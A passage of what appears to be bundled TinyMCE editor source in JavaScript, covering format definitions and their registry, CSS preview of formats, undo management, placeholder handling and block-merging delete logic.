          return schemaType !== 'html4' ? [
            s,
            span,
            strike
          ] : [
            span,
            s,
            strike
          ];
        })(),
        forecolor: {
          inline: 'span',
          styles: { color: '%value' },
          links: true,
          remove_similar: true,
          clear_child_styles: true
        },
        hilitecolor: {
          inline: 'span',
          styles: { backgroundColor: '%value' },
          links: true,
          remove_similar: true,
          clear_child_styles: true
        },
        fontname: {
          inline: 'span',
          toggle: false,
          styles: { fontFamily: '%value' },
          clear_child_styles: true
        },
        fontsize: {
          inline: 'span',
          toggle: false,
          styles: { fontSize: '%value' },
          clear_child_styles: true
        },
        lineheight: {
          selector: 'h1,h2,h3,h4,h5,h6,p,li,td,th,div',
          styles: { lineHeight: '%value' }
        },
        fontsize_class: {
          inline: 'span',
          attributes: { class: '%value' }
        },
        blockquote: {
          block: 'blockquote',
          wrapper: true,
          remove: 'all'
        },
        subscript: { inline: 'sub' },
        superscript: { inline: 'sup' },
        code: { inline: 'code' },
        link: {
          inline: 'a',
          selector: 'a',
          remove: 'all',
          split: true,
          deep: true,
          onmatch: (node, _fmt, _itemName) => {
            return isElement$6(node) && node.hasAttribute('href');
          },
          onformat: (elm, _fmt, vars) => {
            Tools.each(vars, (value, key) => {
              dom.setAttrib(elm, key, value);
            });
          }
        },
        lang: {
          inline: 'span',
          clear_child_styles: true,
          remove_similar: true,
          attributes: {
            'lang': '%value',
            'data-mce-lang': vars => {
              var _a;
              return (_a = vars === null || vars === void 0 ? void 0 : vars.customValue) !== null && _a !== void 0 ? _a : null;
            }
          }
        },
        removeformat: [
          {
            selector: 'b,strong,em,i,font,u,strike,s,sub,sup,dfn,code,samp,kbd,var,cite,mark,q,del,ins,small',
            remove: 'all',
            split: true,
            expand: false,
            block_expand: true,
            deep: true
          },
          {
            selector: 'span',
            attributes: [
              'style',
              'class'
            ],
            remove: 'empty',
            split: true,
            expand: false,
            deep: true
          },
          {
            selector: '*',
            attributes: [
              'style',
              'class'
            ],
            split: false,
            expand: false,
            deep: true
          }
        ]
      };
      Tools.each('p h1 h2 h3 h4 h5 h6 div address pre dt dd samp'.split(/\s/), name => {
        formats[name] = {
          block: name,
          remove: 'all'
        };
      });
      return formats;
    };

    const genericBase = {
      remove_similar: true,
      inherit: false
    };
    const cellBase = {
      selector: 'td,th',
      ...genericBase
    };
    const cellFormats = {
      tablecellbackgroundcolor: {
        styles: { backgroundColor: '%value' },
        ...cellBase
      },
      tablecellverticalalign: {
        styles: { 'vertical-align': '%value' },
        ...cellBase
      },
      tablecellbordercolor: {
        styles: { borderColor: '%value' },
        ...cellBase
      },
      tablecellclass: {
        classes: ['%value'],
        ...cellBase
      },
      tableclass: {
        selector: 'table',
        classes: ['%value'],
        ...genericBase
      },
      tablecellborderstyle: {
        styles: { borderStyle: '%value' },
        ...cellBase
      },
      tablecellborderwidth: {
        styles: { borderWidth: '%value' },
        ...cellBase
      }
    };
    const get = constant(cellFormats);

    const FormatRegistry = editor => {
      const formats = {};
      const get$2 = name => isNonNullable(name) ? formats[name] : formats;
      const has = name => has$2(formats, name);
      const register = (name, format) => {
        if (name) {
          if (!isString(name)) {
            each$d(name, (format, name) => {
              register(name, format);
            });
          } else {
            if (!isArray$1(format)) {
              format = [format];
            }
            each$e(format, format => {
              if (isUndefined(format.deep)) {
                format.deep = !isSelectorFormat(format);
              }
              if (isUndefined(format.split)) {
                format.split = !isSelectorFormat(format) || isInlineFormat(format);
              }
              if (isUndefined(format.remove) && isSelectorFormat(format) && !isInlineFormat(format)) {
                format.remove = 'none';
              }
              if (isSelectorFormat(format) && isInlineFormat(format)) {
                format.mixed = true;
                format.block_expand = true;
              }
              if (isString(format.classes)) {
                format.classes = format.classes.split(/\s+/);
              }
            });
            formats[name] = format;
          }
        }
      };
      const unregister = name => {
        if (name && formats[name]) {
          delete formats[name];
        }
        return formats;
      };
      register(get$1(editor));
      register(get());
      register(getFormats(editor));
      return {
        get: get$2,
        has,
        register,
        unregister
      };
    };

    const each$3 = Tools.each;
    const dom = DOMUtils.DOM;
    const isPreviewItem = item => isNonNullable(item) && isObject(item);
    const parsedSelectorToHtml = (ancestry, editor) => {
      const schema = editor && editor.schema || Schema({});
      const decorate = (elm, item) => {
        if (item.classes.length > 0) {
          dom.addClass(elm, item.classes.join(' '));
        }
        dom.setAttribs(elm, item.attrs);
      };
      const createElement = sItem => {
        const item = isString(sItem) ? {
          name: sItem,
          classes: [],
          attrs: {}
        } : sItem;
        const elm = dom.create(item.name);
        decorate(elm, item);
        return elm;
      };
      const getRequiredParent = (elm, candidate) => {
        const elmRule = schema.getElementRule(elm.nodeName.toLowerCase());
        const parentsRequired = elmRule === null || elmRule === void 0 ? void 0 : elmRule.parentsRequired;
        if (parentsRequired && parentsRequired.length) {
          return candidate && contains$2(parentsRequired, candidate) ? candidate : parentsRequired[0];
        } else {
          return false;
        }
      };
      const wrapInHtml = (elm, ancestors, siblings) => {
        let parentCandidate;
        const ancestor = ancestors[0];
        const ancestorName = isPreviewItem(ancestor) ? ancestor.name : undefined;
        const parentRequired = getRequiredParent(elm, ancestorName);
        if (parentRequired) {
          if (ancestorName === parentRequired) {
            parentCandidate = ancestor;
            ancestors = ancestors.slice(1);
          } else {
            parentCandidate = parentRequired;
          }
        } else if (ancestor) {
          parentCandidate = ancestor;
          ancestors = ancestors.slice(1);
        } else if (!siblings) {
          return elm;
        }
        const parent = parentCandidate ? createElement(parentCandidate) : dom.create('div');
        parent.appendChild(elm);
        if (siblings) {
          Tools.each(siblings, sibling => {
            const siblingElm = createElement(sibling);
            parent.insertBefore(siblingElm, elm);
          });
        }
        const parentSiblings = isPreviewItem(parentCandidate) ? parentCandidate.siblings : undefined;
        return wrapInHtml(parent, ancestors, parentSiblings);
      };
      const fragment = dom.create('div');
      if (ancestry.length > 0) {
        const item = ancestry[0];
        const elm = createElement(item);
        const siblings = isPreviewItem(item) ? item.siblings : undefined;
        fragment.appendChild(wrapInHtml(elm, ancestry.slice(1), siblings));
      }
      return fragment;
    };
    const parseSelectorItem = item => {
      item = Tools.trim(item);
      let tagName = 'div';
      const obj = {
        name: tagName,
        classes: [],
        attrs: {},
        selector: item
      };
      if (item !== '*') {
        tagName = item.replace(/(?:([#\.]|::?)([\w\-]+)|(\[)([^\]]+)\]?)/g, ($0, $1, $2, $3, $4) => {
          switch ($1) {
          case '#':
            obj.attrs.id = $2;
            break;
          case '.':
            obj.classes.push($2);
            break;
          case ':':
            if (Tools.inArray('checked disabled enabled read-only required'.split(' '), $2) !== -1) {
              obj.attrs[$2] = $2;
            }
            break;
          }
          if ($3 === '[') {
            const m = $4.match(/([\w\-]+)(?:\=\"([^\"]+))?/);
            if (m) {
              obj.attrs[m[1]] = m[2];
            }
          }
          return '';
        });
      }
      obj.name = tagName || 'div';
      return obj;
    };
    const parseSelector = selector => {
      if (!isString(selector)) {
        return [];
      }
      selector = selector.split(/\s*,\s*/)[0];
      selector = selector.replace(/\s*(~\+|~|\+|>)\s*/g, '$1');
      return Tools.map(selector.split(/(?:>|\s+(?![^\[\]]+\]))/), item => {
        const siblings = Tools.map(item.split(/(?:~\+|~|\+)/), parseSelectorItem);
        const obj = siblings.pop();
        if (siblings.length) {
          obj.siblings = siblings;
        }
        return obj;
      }).reverse();
    };
    const getCssText = (editor, format) => {
      let previewCss = '';
      let previewStyles = getPreviewStyles(editor);
      if (previewStyles === '') {
        return '';
      }
      const removeVars = val => {
        return isString(val) ? val.replace(/%(\w+)/g, '') : '';
      };
      const getComputedStyle = (name, elm) => {
        return dom.getStyle(elm !== null && elm !== void 0 ? elm : editor.getBody(), name, true);
      };
      if (isString(format)) {
        const formats = editor.formatter.get(format);
        if (!formats) {
          return '';
        }
        format = formats[0];
      }
      if ('preview' in format) {
        const preview = format.preview;
        if (preview === false) {
          return '';
        } else {
          previewStyles = preview || previewStyles;
        }
      }
      let name = format.block || format.inline || 'span';
      let previewFrag;
      const items = parseSelector(format.selector);
      if (items.length > 0) {
        if (!items[0].name) {
          items[0].name = name;
        }
        name = format.selector;
        previewFrag = parsedSelectorToHtml(items, editor);
      } else {
        previewFrag = parsedSelectorToHtml([name], editor);
      }
      const previewElm = dom.select(name, previewFrag)[0] || previewFrag.firstChild;
      each$3(format.styles, (value, name) => {
        const newValue = removeVars(value);
        if (newValue) {
          dom.setStyle(previewElm, name, newValue);
        }
      });
      each$3(format.attributes, (value, name) => {
        const newValue = removeVars(value);
        if (newValue) {
          dom.setAttrib(previewElm, name, newValue);
        }
      });
      each$3(format.classes, value => {
        const newValue = removeVars(value);
        if (!dom.hasClass(previewElm, newValue)) {
          dom.addClass(previewElm, newValue);
        }
      });
      editor.dispatch('PreviewFormats');
      dom.setStyles(previewFrag, {
        position: 'absolute',
        left: -65535
      });
      editor.getBody().appendChild(previewFrag);
      const rawParentFontSize = getComputedStyle('fontSize');
      const parentFontSize = /px$/.test(rawParentFontSize) ? parseInt(rawParentFontSize, 10) : 0;
      each$3(previewStyles.split(' '), name => {
        let value = getComputedStyle(name, previewElm);
        if (name === 'background-color' && /transparent|rgba\s*\([^)]+,\s*0\)/.test(value)) {
          value = getComputedStyle(name);
          if (rgbaToHexString(value).toLowerCase() === '#ffffff') {
            return;
          }
        }
        if (name === 'color') {
          if (rgbaToHexString(value).toLowerCase() === '#000000') {
            return;
          }
        }
        if (name === 'font-size') {
          if (/em|%$/.test(value)) {
            if (parentFontSize === 0) {
              return;
            }
            const numValue = parseFloat(value) / (/%$/.test(value) ? 100 : 1);
            value = numValue * parentFontSize + 'px';
          }
        }
        if (name === 'border' && value) {
          previewCss += 'padding:0 2px;';
        }
        previewCss += name + ':' + value + ';';
      });
      editor.dispatch('AfterPreviewFormats');
      dom.remove(previewFrag);
      return previewCss;
    };

    const setup$r = editor => {
      editor.addShortcut('meta+b', '', 'Bold');
      editor.addShortcut('meta+i', '', 'Italic');
      editor.addShortcut('meta+u', '', 'Underline');
      for (let i = 1; i <= 6; i++) {
        editor.addShortcut('access+' + i, '', [
          'FormatBlock',
          false,
          'h' + i
        ]);
      }
      editor.addShortcut('access+7', '', [
        'FormatBlock',
        false,
        'p'
      ]);
      editor.addShortcut('access+8', '', [
        'FormatBlock',
        false,
        'div'
      ]);
      editor.addShortcut('access+9', '', [
        'FormatBlock',
        false,
        'address'
      ]);
    };

    const Formatter = editor => {
      const formats = FormatRegistry(editor);
      const formatChangeState = Cell({});
      setup$r(editor);
      setup$u(editor);
      if (!isRtc(editor)) {
        setup$t(formatChangeState, editor);
      }
      return {
        get: formats.get,
        has: formats.has,
        register: formats.register,
        unregister: formats.unregister,
        apply: (name, vars, node) => {
          applyFormat(editor, name, vars, node);
        },
        remove: (name, vars, node, similar) => {
          removeFormat(editor, name, vars, node, similar);
        },
        toggle: (name, vars, node) => {
          toggleFormat(editor, name, vars, node);
        },
        match: (name, vars, node, similar) => matchFormat(editor, name, vars, node, similar),
        closest: names => closestFormat(editor, names),
        matchAll: (names, vars) => matchAllFormats(editor, names, vars),
        matchNode: (node, name, vars, similar) => matchNodeFormat(editor, node, name, vars, similar),
        canApply: name => canApplyFormat(editor, name),
        formatChanged: (formats, callback, similar, vars) => formatChanged(editor, formatChangeState, formats, callback, similar, vars),
        getCssText: curry(getCssText, editor)
      };
    };

    const shouldIgnoreCommand = cmd => {
      switch (cmd.toLowerCase()) {
      case 'undo':
      case 'redo':
      case 'mcefocus':
        return true;
      default:
        return false;
      }
    };
    const registerEvents = (editor, undoManager, locks) => {
      const isFirstTypedCharacter = Cell(false);
      const addNonTypingUndoLevel = e => {
        setTyping(undoManager, false, locks);
        undoManager.add({}, e);
      };
      editor.on('init', () => {
        undoManager.add();
      });
      editor.on('BeforeExecCommand', e => {
        const cmd = e.command;
        if (!shouldIgnoreCommand(cmd)) {
          endTyping(undoManager, locks);
          undoManager.beforeChange();
        }
      });
      editor.on('ExecCommand', e => {
        const cmd = e.command;
        if (!shouldIgnoreCommand(cmd)) {
          addNonTypingUndoLevel(e);
        }
      });
      editor.on('ObjectResizeStart cut', () => {
        undoManager.beforeChange();
      });
      editor.on('SaveContent ObjectResized blur', addNonTypingUndoLevel);
      editor.on('dragend', addNonTypingUndoLevel);
      editor.on('keyup', e => {
        const keyCode = e.keyCode;
        if (e.isDefaultPrevented()) {
          return;
        }
        if (keyCode >= 33 && keyCode <= 36 || keyCode >= 37 && keyCode <= 40 || keyCode === 45 || e.ctrlKey) {
          addNonTypingUndoLevel();
          editor.nodeChanged();
        }
        if (keyCode === 46 || keyCode === 8) {
          editor.nodeChanged();
        }
        if (isFirstTypedCharacter.get() && undoManager.typing && !isEq$1(createFromEditor(editor), undoManager.data[0])) {
          if (!editor.isDirty()) {
            editor.setDirty(true);
          }
          editor.dispatch('TypingUndo');
          isFirstTypedCharacter.set(false);
          editor.nodeChanged();
        }
      });
      editor.on('keydown', e => {
        const keyCode = e.keyCode;
        if (e.isDefaultPrevented()) {
          return;
        }
        if (keyCode >= 33 && keyCode <= 36 || keyCode >= 37 && keyCode <= 40 || keyCode === 45) {
          if (undoManager.typing) {
            addNonTypingUndoLevel(e);
          }
          return;
        }
        const modKey = e.ctrlKey && !e.altKey || e.metaKey;
        if ((keyCode < 16 || keyCode > 20) && keyCode !== 224 && keyCode !== 91 && !undoManager.typing && !modKey) {
          undoManager.beforeChange();
          setTyping(undoManager, true, locks);
          undoManager.add({}, e);
          isFirstTypedCharacter.set(true);
        }
      });
      editor.on('mousedown', e => {
        if (undoManager.typing) {
          addNonTypingUndoLevel(e);
        }
      });
      const isInsertReplacementText = event => event.inputType === 'insertReplacementText';
      const isInsertTextDataNull = event => event.inputType === 'insertText' && event.data === null;
      const isInsertFromPasteOrDrop = event => event.inputType === 'insertFromPaste' || event.inputType === 'insertFromDrop';
      editor.on('input', e => {
        if (e.inputType && (isInsertReplacementText(e) || isInsertTextDataNull(e) || isInsertFromPasteOrDrop(e))) {
          addNonTypingUndoLevel(e);
        }
      });
      editor.on('AddUndo Undo Redo ClearUndos', e => {
        if (!e.isDefaultPrevented()) {
          editor.nodeChanged();
        }
      });
    };
    const addKeyboardShortcuts = editor => {
      editor.addShortcut('meta+z', '', 'Undo');
      editor.addShortcut('meta+y,meta+shift+z', '', 'Redo');
    };

    const UndoManager = editor => {
      const beforeBookmark = value$2();
      const locks = Cell(0);
      const index = Cell(0);
      const undoManager = {
        data: [],
        typing: false,
        beforeChange: () => {
          beforeChange(editor, locks, beforeBookmark);
        },
        add: (level, event) => {
          return addUndoLevel(editor, undoManager, index, locks, beforeBookmark, level, event);
        },
        dispatchChange: () => {
          editor.setDirty(true);
          const level = createFromEditor(editor);
          level.bookmark = getUndoBookmark(editor.selection);
          editor.dispatch('change', {
            level,
            lastLevel: get$b(undoManager.data, index.get()).getOrUndefined()
          });
        },
        undo: () => {
          return undo(editor, undoManager, locks, index);
        },
        redo: () => {
          return redo(editor, index, undoManager.data);
        },
        clear: () => {
          clear(editor, undoManager, index);
        },
        reset: () => {
          reset(editor, undoManager);
        },
        hasUndo: () => {
          return hasUndo(editor, undoManager, index);
        },
        hasRedo: () => {
          return hasRedo(editor, undoManager, index);
        },
        transact: callback => {
          return transact(editor, undoManager, locks, callback);
        },
        ignore: callback => {
          ignore(editor, locks, callback);
        },
        extra: (callback1, callback2) => {
          extra(editor, undoManager, index, callback1, callback2);
        }
      };
      if (!isRtc(editor)) {
        registerEvents(editor, undoManager, locks);
      }
      addKeyboardShortcuts(editor);
      return undoManager;
    };

    const nonTypingKeycodes = [
      9,
      27,
      VK.HOME,
      VK.END,
      19,
      20,
      44,
      144,
      145,
      33,
      34,
      45,
      16,
      17,
      18,
      91,
      92,
      93,
      VK.DOWN,
      VK.UP,
      VK.LEFT,
      VK.RIGHT
    ].concat(Env.browser.isFirefox() ? [224] : []);
    const placeholderAttr = 'data-mce-placeholder';
    const isKeyboardEvent = e => e.type === 'keydown' || e.type === 'keyup';
    const isDeleteEvent = e => {
      const keyCode = e.keyCode;
      return keyCode === VK.BACKSPACE || keyCode === VK.DELETE;
    };
    const isNonTypingKeyboardEvent = e => {
      if (isKeyboardEvent(e)) {
        const keyCode = e.keyCode;
        return !isDeleteEvent(e) && (VK.metaKeyPressed(e) || e.altKey || keyCode >= 112 && keyCode <= 123 || contains$2(nonTypingKeycodes, keyCode));
      } else {
        return false;
      }
    };
    const isTypingKeyboardEvent = e => isKeyboardEvent(e) && !(isDeleteEvent(e) || e.type === 'keyup' && e.keyCode === 229);
    const isVisuallyEmpty = (dom, rootElm, forcedRootBlock) => {
      if (isEmpty$2(SugarElement.fromDom(rootElm), false)) {
        const firstElement = rootElm.firstElementChild;
        if (!firstElement) {
          return true;
        } else if (dom.getStyle(rootElm.firstElementChild, 'padding-left') || dom.getStyle(rootElm.firstElementChild, 'padding-right')) {
          return false;
        } else {
          return forcedRootBlock === firstElement.nodeName.toLowerCase();
        }
      } else {
        return false;
      }
    };
    const setup$q = editor => {
      var _a;
      const dom = editor.dom;
      const rootBlock = getForcedRootBlock(editor);
      const placeholder = (_a = getPlaceholder(editor)) !== null && _a !== void 0 ? _a : '';
      const updatePlaceholder = (e, initial) => {
        if (isNonTypingKeyboardEvent(e)) {
          return;
        }
        const body = editor.getBody();
        const showPlaceholder = isTypingKeyboardEvent(e) ? false : isVisuallyEmpty(dom, body, rootBlock);
        const isPlaceholderShown = dom.getAttrib(body, placeholderAttr) !== '';
        if (isPlaceholderShown !== showPlaceholder || initial) {
          dom.setAttrib(body, placeholderAttr, showPlaceholder ? placeholder : null);
          dom.setAttrib(body, 'aria-placeholder', showPlaceholder ? placeholder : null);
          firePlaceholderToggle(editor, showPlaceholder);
          editor.on(showPlaceholder ? 'keydown' : 'keyup', updatePlaceholder);
          editor.off(showPlaceholder ? 'keyup' : 'keydown', updatePlaceholder);
        }
      };
      if (isNotEmpty(placeholder)) {
        editor.on('init', e => {
          updatePlaceholder(e, true);
          editor.on('change SetContent ExecCommand', updatePlaceholder);
          editor.on('paste', e => Delay.setEditorTimeout(editor, () => updatePlaceholder(e)));
        });
      }
    };

    const blockPosition = (block, position) => ({
      block,
      position
    });
    const blockBoundary = (from, to) => ({
      from,
      to
    });
    const getBlockPosition = (rootNode, pos) => {
      const rootElm = SugarElement.fromDom(rootNode);
      const containerElm = SugarElement.fromDom(pos.container());
      return getParentBlock$2(rootElm, containerElm).map(block => blockPosition(block, pos));
    };
    const isDifferentBlocks = blockBoundary => !eq(blockBoundary.from.block, blockBoundary.to.block);
    const getClosestHost = (root, scope) => {
      const isRoot = node => eq(node, root);
      const isHost = node => isTableCell$2(node) || isContentEditableTrue$3(node.dom);
      return closest$4(scope, isHost, isRoot).filter(isElement$7).getOr(root);
    };
    const hasSameHost = (rootNode, blockBoundary) => {
      const root = SugarElement.fromDom(rootNode);
      return eq(getClosestHost(root, blockBoundary.from.block), getClosestHost(root, blockBoundary.to.block));
    };
    const isEditable$2 = blockBoundary => isContentEditableFalse$a(blockBoundary.from.block.dom) === false && isContentEditableFalse$a(blockBoundary.to.block.dom) === false;
    const hasValidBlocks = blockBoundary => {
      const isValidBlock = block => isTextBlock$2(block) || hasBlockAttr(block.dom);
      return isValidBlock(blockBoundary.from.block) && isValidBlock(blockBoundary.to.block);
    };
    const skipLastBr = (rootNode, forward, blockPosition) => {
      if (isBr$6(blockPosition.position.getNode()) && !isEmpty$2(blockPosition.block)) {
        return positionIn(false, blockPosition.block.dom).bind(lastPositionInBlock => {
          if (lastPositionInBlock.isEqual(blockPosition.position)) {
            return fromPosition(forward, rootNode, lastPositionInBlock).bind(to => getBlockPosition(rootNode, to));
          } else {
            return Optional.some(blockPosition);
          }
        }).getOr(blockPosition);
      } else {
        return blockPosition;
      }
    };
    const readFromRange = (rootNode, forward, rng) => {
      const fromBlockPos = getBlockPosition(rootNode, CaretPosition.fromRangeStart(rng));
      const toBlockPos = fromBlockPos.bind(blockPos => fromPosition(forward, rootNode, blockPos.position).bind(to => getBlockPosition(rootNode, to).map(blockPos => skipLastBr(rootNode, forward, blockPos))));
      return lift2(fromBlockPos, toBlockPos, blockBoundary).filter(blockBoundary => isDifferentBlocks(blockBoundary) && hasSameHost(rootNode, blockBoundary) && isEditable$2(blockBoundary) && hasValidBlocks(blockBoundary));
    };
    const read$1 = (rootNode, forward, rng) => rng.collapsed ? readFromRange(rootNode, forward, rng) : Optional.none();

    const getChildrenUntilBlockBoundary = block => {
      const children = children$1(block);
      return findIndex$2(children, isBlock$2).fold(constant(children), index => children.slice(0, index));
    };
    const extractChildren = block => {
      const children = getChildrenUntilBlockBoundary(block);
      each$e(children, remove$6);
      return children;
    };
    const removeEmptyRoot = (rootNode, block) => {
      const parents = parentsAndSelf(block, rootNode);
      return find$2(parents.reverse(), element => isEmpty$2(element)).each(remove$6);
    };
    const isEmptyBefore = el => filter$5(prevSiblings(el), el => !isEmpty$2(el)).length === 0;
    const nestedBlockMerge = (rootNode, fromBlock, toBlock, insertionPoint) => {
      if (isEmpty$2(toBlock)) {
        fillWithPaddingBr(toBlock);
        return firstPositionIn(toBlock.dom);
      }
      if (isEmptyBefore(insertionPoint) && isEmpty$2(fromBlock)) {
        before$3(insertionPoint, SugarElement.fromTag('br'));
      }
      const position = prevPosition(toBlock.dom, CaretPosition.before(insertionPoint.dom));
      each$e(extractChildren(fromBlock), child => {
        before$3(insertionPoint, child);
      });
      removeEmptyRoot(rootNode, fromBlock);
      return position;
    };
    const sidelongBlockMerge = (rootNode, fromBlock, toBlock) => {
      if (isEmpty$2(toBlock)) {
        remove$6(toBlock);
        if (isEmpty$2(fromBlock)) {
          fillWithPaddingBr(fromBlock);
        }
        return firstPositionIn(fromBlock.dom);
      }
      const position = lastPositionIn(toBlock.dom);
      each$e(extractChildren(fromBlock), child => {
        append$1(toBlock, child);
      });
      removeEmptyRoot(rootNode, fromBlock);
      return position;
    };
    const findInsertionPoint = (toBlock, block) => {
      const parentsAndSelf$1 = parentsAndSelf(block, toBlock);
      return Optional.from(parentsAndSelf$1[parentsAndSelf$1.length - 1]);
    };
    const getInsertionPoint = (fromBlock, toBlock) => contains(toBlock, fromBlock) ? findInsertionPoint(toBlock, fromBlock) : Optional.none();
    const trimBr = (first, block) => {
      positionIn(first, block.dom).bind(position => Optional.from(position.getNode())).map(SugarElement.fromDom).filter(isBr$5).each(remove$6);
    };
    const mergeBlockInto = (rootNode, fromBlock, toBlock) => {
      trimBr(true, fromBlock);
      trimBr(false, toBlock);
      return getInsertionPoint(fromBlock, toBlock).fold(curry(sidelongBlockMerge, rootNode, fromBlock, toBlock), curry(nestedBlockMerge, rootNode, fromBlock, toBlock));
    };
    const mergeBlocks = (rootNode, forward, block1, block2) => forward ? mergeBlockInto(rootNode, block2, block1) : mergeBlockInto(rootNode, block1, block2);

    const backspaceDelete$8 = (editor, forward) => {
      const rootNode = SugarElement.fromDom(editor.getBody());
      const position = read$1(rootNode.dom, forward, editor.selection.getRng()).map(blockBoundary => () => {
        mergeBlocks(rootNode, forward, blockBoundary.from.block, blockBoundary.to.block).each(pos => {
          editor.selection.setRng(pos.toRange());
        });
      });
      return position;
    };

    const deleteRangeMergeBlocks = (rootNode, selection) => {
      const rng = selection.getRng();
      return lift2(getParentBlock$2(rootNode, SugarElement.fromDom(rng.startContainer)), getParentBlock$2(rootNode, SugarElement.fromDom(rng.endContainer)), (block1, block2) => {
        if (!eq(block1, block2)) {
          return Optional.some(() => {
            rng.deleteContents();
            mergeBlocks(rootNode, true, block1, block2).each(pos => {
              selection.setRng(pos.toRange());
            });
          });
        } else {
          return Optional.none();
        }
      }).getOr(Optional.none());
    };
    const isRawNodeInTable = (root, rawNode) => {
      const node = SugarElement.fromDom(rawNode);
      const isRoot = curry(eq, root);
      return ancestor$3(node, isTableCell$2, isRoot).isSome();
    };
    const isSelectionInTable = (root, rng) => isRawNodeInTable(root, rng.startContainer) || isRawNodeInTable(root, rng.endContainer);
    const isEverythingSelected = (root, rng) => {
      const noPrevious = prevPosition(root.dom, CaretPosition.fromRangeStart(rng)).isNone();
      const noNext = nextPosition(root.dom, CaretPosition.fromRangeEnd(rng)).isNone();
      return !isSelectionInTable(root, rng) && noPrevious && noNext;
    };
    const emptyEditor = editor => {
      return Optional.some(() => {
        editor.setContent('');
        editor.selection.setCursorLocation();
      });
    };
    const deleteRange$1 = editor => {
      const rootNode = SugarElement.fromDom(editor.getBody());
      const rng = editor.selection.getRng();
      return isEverythingSelected(rootNode, rng) ? emptyEditor(editor) : deleteRangeMergeBlocks(rootNode, editor.selection);
    };
    const backspaceDelete$7 = (editor, _forward) => editor.selection.isCollapsed() ? Optional.none() : deleteRange$1(editor);

    const showCaret = (direction, editor, node, before, scrollIntoView) => Optional.from(editor._selectionOverrides.showCaret(direction, node, before, scrollIntoView));
    const getNodeRange = node => {
      const rng = node.ownerDocument.createRange();
      rng.selectNode(node);
      return rng;
    };
    const selectNode = (editor, node) => {
      const e = editor.dispatch('BeforeObjectSelected', { target: node });
      if (e.isDefaultPrevented()) {
        return Optional.none();
      }
      return Optional.some(getNodeRange(node));
    };
    const renderCaretAtRange = (editor, range, scrollIntoView) => {
      const normalizedRange = normalizeRange(1, editor.getBody(), range);
      const caretPosition = CaretPosition.fromRangeStart(normalizedRange);
      const caretPositionNode = caretPosition.getNode();
      if (isInlineFakeCaretTarget(caretPositionNode)) {
        return showCaret(1, editor, caretPositionNode, !caretPosition.isAtEnd(), false);
      }
      const caretPositionBeforeNode = caretPosition.getNode(true);
      if (isInlineFakeCaretTarget(caretPositionBeforeNode)) {
        return showCaret(1, editor, caretPositionBeforeNode, false, false);
      }
      const ceRoot = getContentEditableRoot$1(editor.dom.getRoot(), caretPosition.getNode());
      if (isInlineFakeCaretTarget(ceRoot)) {
        return showCaret(1, editor, ceRoot, false, scrollIntoView);
      }
      return Optional.none();
    };
    const renderRangeCaret = (editor, range, scrollIntoView) => range.collapsed ? renderCaretAtRange(editor, range, scrollIntoView).getOr(range) : range;

    const isBeforeBoundary = pos => isBeforeContentEditableFalse(pos) || isBeforeMedia(pos);
    const isAfterBoundary = pos => isAfterContentEditableFalse(pos) || isAfterMedia(pos);
    const trimEmptyTextNode = (dom, node) => {
      if (isText$a(node) && node.data.length === 0) {
        dom.remove(node);
      }
    };
    const deleteContentAndShowCaret = (editor, range, node, direction, forward, peekCaretPosition) => {
      showCaret(direction, editor, peekCaretPosition.getNode(!forward), forward, true).each(caretRange => {
        if (range.collapsed) {
          const deleteRange = range.cloneRange();
          if (forward) {
            deleteRange.setEnd(caretRange.startContainer, caretRange.startOffset);
          } else {
            deleteRange.setStart(caretRange.endContainer, caretRange.endOffset);
          }
          deleteRange.deleteContents();
        } else {
          range.deleteContents();
        }
        editor.selection.setRng(caretRange);
      });
      trimEmptyTextNode(editor.dom, node);
    };
    const deleteBoundaryText = (editor, forward) => {
      const range = editor.selection.getRng();
      if (!isText$a(range.commonAncestorContainer)) {
        return Optional.none();
      }
      const direction = forward ? HDirection.Forwards : HDirection.Backwards;
      const caretWalker = CaretWalker(editor.getBody());
      const getNextPosFn = curry(getVisualCaretPosition, forward ? caretWalker.next : caretWalker.prev);
      const isBeforeFn = forward ? isBeforeBoundary : isAfterBoundary;
      const caretPosition = getNormalizedRangeEndPoint(direction, editor.getBody(), range);
      const nextCaretPosition = getNextPosFn(caretPosition);
      const normalizedNextCaretPosition = nextCaretPosition ? normalizePosition(forward, nextCaretPosition) : nextCaretPosition;
      if (!normalizedNextCaretPosition || !isMoveInsideSameBlock(caretPosition, normalizedNextCaretPosition)) {
        return Optional.none();
      } else if (isBeforeFn(normalizedNextCaretPosition)) {
        return Optional.some(() => deleteContentAndShowCaret(editor, range, caretPosition.getNode(), direction, forward, normalizedNextCaretPosition));
      }
      const peekCaretPosition = getNextPosFn(normalizedNextCaretPosition);
      if (peekCaretPosition && isBeforeFn(peekCaretPosition)) {
        if (isMoveInsideSameBlock(normalizedNextCaretPosition, peekCaretPosition)) {
          return Optional.some(() => deleteContentAndShowCaret(editor, range, caretPosition.getNode(), direction, forward, peekCaretPosition));
        }
      }
      return Optional.none();
    };
    const backspaceDelete$6 = (editor, forward) => deleteBoundaryText(editor, forward);

    const getEdgeCefPosition = (editor, atStart) => {
      const root = editor.getBody();
      return atStart ? firstPositionIn(root).filter(isBeforeContentEditableFalse) : lastPositionIn(root).filter(isAfterContentEditableFalse);
    };
    const isCefAtEdgeSelected = editor => {
      const rng = editor.selection.getRng();
      return !rng.collapsed && (getEdgeCefPosition(editor, true).exists(pos => pos.isEqual(CaretPosition.fromRangeStart(rng))) || getEdgeCefPosition(editor, false).exists(pos => pos.isEqual(CaretPosition.fromRangeEnd(rng))));
    };

    const isCompoundElement = node => isNonNullable(node) && (isTableCell$2(SugarElement.fromDom(node)) || isListItem$1(SugarElement.fromDom(node)));
    const DeleteAction = Adt.generate([
      { remove: ['element'] },
      { moveToElement: ['element'] },
      { moveToPosition: ['position'] }
    ]);
    const isAtContentEditableBlockCaret = (forward, from) => {
      const elm = from.getNode(!forward);
      const caretLocation = forward ? 'after' : 'before';
      return isElement$6(elm) && elm.getAttribute('data-mce-caret') === caretLocation;
    };
    const isDeleteFromCefDifferentBlocks = (root, forward, from, to) => {
      const inSameBlock = elm => isInline$1(SugarElement.fromDom(elm)) && !isInSameBlock(from, to, root);
      return getRelativeCefElm(!forward, from).fold(() => getRelativeCefElm(forward, to).fold(never, inSameBlock), inSameBlock);
    };
    const deleteEmptyBlockOrMoveToCef = (root, forward, from, to) => {
      const toCefElm = to.getNode(!forward);
      return getParentBlock$2(SugarElement.fromDom(root), SugarElement.fromDom(from.getNode())).map(blockElm => isEmpty$2(blockElm) ? DeleteAction.remove(blockElm.dom) : DeleteAction.moveToElement(toCefElm)).orThunk(() => Optional.some(DeleteAction.moveToElement(toCefElm)));
    };
